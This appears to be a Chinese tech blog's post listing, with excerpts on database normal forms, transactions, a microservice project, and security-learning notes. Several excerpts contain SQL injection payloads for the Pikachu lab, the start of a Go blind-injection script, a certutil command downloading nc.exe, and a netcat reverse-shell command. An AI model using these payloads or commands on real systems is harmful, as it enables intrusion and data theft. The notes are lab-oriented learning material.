范式
范式 范式 目标 关键要求 1NF 确保原子性 每个字段必须包含不可再分的值,表中每列的值是原子值。 2NF 消除部分依赖 满足1NF,且所有非主键字段完全依赖于主键(消除部分依赖)。 3NF 消除传递依赖 满足2NF,且非主键字段直接依赖于主键,避免传递依赖。 BCNF 每个决定因素必须是候选键 满足3NF,且每个非平凡的函数依赖的左边部分必须是候选键。 4NF 消除多值依赖 满足BCNF,且每个多值依赖被消除,避免冗余数据。 1.第一范式(1NF)-原子性 每个字段必须包含原子值,表中的每列不能包含集合、数组或重复的值 不符合1NF的例子:学生ID | 学生姓名 | 电话号码 ------------------------------------------- 1 | 张三 | 123456789, 987654321 2 | 李四 | 111222333, 444555666 在表中,电话号码列包含了多个电话号码,违反了1NF的的原子性要求 符合1NF的例子:学生ID | 学生姓名 | 电话号码 -----...
事务管理
事务管理 事务管理是指在数据库管理系统(DBMS)中,确保一系列操作要么完成执行,要么完全不执行的机制。事务是一组作为单一单元执行的操作,它们要么成功执行并提交(commit),要么发生错误并回滚(rollback),确保数据的完整性和一致性。 1.原子性(Atomicity) 事务中的所有操作要么完全执行,要么完全不执行 如果事务中某一部分出现失败,事务会回滚到它刚开始的状态,确保没有部分操作成功 2.一致性(Consistency) 事务执行前后,数据库的状态要从一个一致的状态转变到另一个一致的状态 事务开始时,数据库处于一个有效的状态,执行完事务后,数据库依然保持有效和一致 例:银行账户的余额必须大于等于0 3.隔离性(lasolation) 每个事务的执行应该不被其他事务干扰。事务的操作对其他事务来说是隔离的,类似于事务按顺序串行执行 4.持久性(Durability) 一旦事务被提交,他所作的更改将永久保存。即使发生系统崩溃,数据也不会丢失 并发可能导致事务发生的问题在一个实际的项目开发中,事务一般伴随着高并发,多个事务可能同时进行。这就会带来一些并发问题,主...
Golang实现盲注
Golang实现布尔盲注上一篇讲到了盲注的实现过程,现在我们可以一起来学习一下脚本的编写 盲注payload kobe' and length(database()) = 7# kobe' and ascii(substr(database(),1,1)) > 111# 构造poc 常规循环实现package main import ( "fmt" "io" "log" "net/http" "net/url" "os" "strings" ) var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'" var payload = "kobe&...
SQL注入(二)
SQL注入(二)盲注在实际的渗透过程中,网站设计者会将错误信息进行屏蔽,导致我们无法根据报错信息来进行注入的判断,这种情况下的注入,就是盲注 布尔盲注(based on boolean)在盲注的过程中,我们会经常使用到以下函数 length(str)#函数 返回字符串的长度 substr(str,poc,len)#截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度 ascii()#返回字符的ascii码,返回该字符对应的ascii码 count()#返回当前列的数量 基于真假的盲注主要特征 没有报错信息 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1) 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断 在pikachu下可以进行测试 输入正确的姓名 kobe' and 1=1# 会发现成功返回 kobe' and 1=2# 出现报错 这里只能判断用户存在还是不存在,所以不能使用报错注入的方式进行注入 只能使用判断的方式 可以先使用length判断长度 #回显成功 ...
SQL注入(一)
SQL注入数字型注入(POST) 以piakchu靶场举例 步骤: 1. 先判断注入点的注入类型 2. 如是数字型,先使用Burp抓包,修改id值 3. 修改payload为 1 or 1=1,发送请求 4. 会发现查询到了全部数据 5. 使用 order by 判断注入点 (payload:1 order by 2) 6. 显位:联合查询查看显示位 (1 union select 1,2#) 7. 爆库:显示出数据库的名字 (1 union select 1,group_concat(schema_name) from (information_schema.schemata)#) 8. 爆表:利用union select 联合查询,获取表名 a. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#)获取到当前数据库 b. (1 union select 1,group_concat(table...
项目总结
项目开发总结本次项目开发学习前前后后花费了数半个月,虽然学习的项目章节不太多,但也受益匪浅 不论是从最开始的环境搭建,还是之后的微服务、小程序、网关配置等等方面,也是学到了很多技巧,但这其中我也遇到了很多困难,本次开发总结我将详细讲述我的开发流程,其中遇到的一些困难,以及如何去解决这些困难 环境配置首先是在最开始的环境配置当中,我们需要先下载虚拟机环境(模拟公司、企业当中的服务器) 可看到虚拟机环境已经帮我们配置好了,这些服务是一些正在运行当中的服务 然后就是虚拟机也需要配置一下内网IP方便后续服务的访问 内网配置好后在配置本地ip 可以看到本地服务地址与虚拟机地址是一样的,然后后面就是一些服务 在这之后我们就可以成功的访问服务了 我们先从本地访问服务域名,通过本地hosts文件配置,将服务地址传输到虚拟机,再通过虚拟机nginx服务将其反向代理到各个服务 Maven私服Maven私服配置根据服务不同,进行相应配置 git代码管理对于代码的管理,我觉得是相对重要的,这在开发当中是必不可少的 分支管理 不同功能的分支形成代码隔离,发布时从主分支进行代码发布,测试在测试分支...
登录与网关配置
用户端登录用户端的登录是基于微信小程序登录 wx小程序搭建:前端部署文档 env.js中修改本地接口 可以看到本地请求为502 这是由于本地网关并没有配置导致的后面会进行配置 请求参数(2个参数,code:登录临时凭证,phoneCode:获取手机号的凭证): 拉取后端代码 sl-express-ms-web-customer 登录接口登录接口的实现是在com.sl.ms.web.customer.controller.UserController#login中 可以看到代码是由UserLoginVO响应数据对象和UserLoginRequestVO请求参数对象组成 我们现看看UserLoginVO响应数据对象 package com.sl.ms.web.customer.vo.user; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoA...
基础知识
文件下载certutil.exe -urlcache -split -f http://127.0.0.1:8080/nc.exe nc.exe 反弹shell一端进行监听,一端进行连接,将连接一端的shell进行反弹给监听一端 #Netcat连接端 nc -e cmd 127.0.0.1 8080 #监听端 nc -lvvp 8080 内网 内网 -> A A !-> 内网 如果两台主机都处于外网,则可以相互进行反弹 A <-> B A防火墙 -> B b !-> A防火墙 抓包 抓包工具: BurpSuite 茶杯 fiddler 模拟器设置证书后 设置HTTP代理 -> 运行工具的本机IP 端口 burpsuite 茶杯 fiddler 配置代理监听抓取 域名DNS DNS用于解析IP地址 它是一个域名和IP地址相互映射的一个分布式数据库,能够使人更方便更迅速的访问互联网 DNS使用的是UDP协议,端口53 CDN 旁注 旁注:同服务器不同站点 前提条件:多个站点服务器 C段 独立站点服务器 C...
环境搭建
环境搭建进入Vmare,打开虚拟机 配置一键启动环境 vim ~/.bashrc #增加如下内容 alias dps='docker ps --format "table{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}"' #保存退出 #生效 source ~/.bashrc 访问http://192.168.150.101:10880/ 配置本机hosts 192.168.150.101 git.sl-express.com 192.168.150.101 maven.sl-express.com 192.168.150.101 jenkins.sl-express.com 192.168.150.101 auth.sl-express.com 192.168.150.101 rabbitmq.sl-express.com 192.16...








